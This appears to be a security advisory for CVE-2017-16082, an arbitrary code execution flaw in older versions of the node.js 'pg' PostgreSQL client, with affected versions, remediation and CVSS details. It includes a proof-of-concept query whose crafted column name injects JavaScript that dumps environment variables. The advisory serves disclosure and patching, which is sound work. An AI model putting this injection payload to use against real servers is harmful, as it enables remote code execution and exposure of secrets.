Arbitrary Code Execution

Affecting pg package, versions <2.11.2 || >=3.0.0 <3.6.4 || >=4.0.0 <4.5.7 || >=5.0.0 <5.2.1 || >=6.0.0 <6.0.5 || >=6.1.0 <6.1.6 || >=6.2.0 <6.2.5 || >=6.3.0 <6.3.3 || >=6.4.0 <6.4.2 || >=7.0.0 <7.0.2 || >=7.1.0 <7.1.2

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

pg is a non-blocking PostgreSQL client for node.js.

Affected versions of this package are vulnerable to Arbitrary Code Execution. When parsing results of a query, it goes through a form of eval, and with a specially crafted column name, an attacker can cause code to run remotely on the server.

PoC:

const { Client } = require('pg')
const client = new Client()
client.connect()

const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`

client.query(sql, (err, res) => {
  client.end()
});

Remediation

Upgrade pg to version 2.11.2, 3.6.4, 4.5.7, 5.2.1, 6.0.5, 6.1.6, 6.2.5, 6.3.3, 6.4.2, 7.0.2, 7.1.2 or higher.

References

CVSS Score

8.3
high severity
  • Attack Vector
    Network
  • Attack Complexity
    High
  • Privileges Required
    None
  • User Interaction
    Required
  • Scope
    Changed
  • Confidentiality
    High
  • Integrity
    High
  • Availability
    High
CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C
Credit
Sehrope Sarkuni
CVE
CVE-2017-16082
CWE
CWE-94
Snyk ID
npm:pg:20170813
Disclosed
13 Aug, 2017
Published
13 Aug, 2017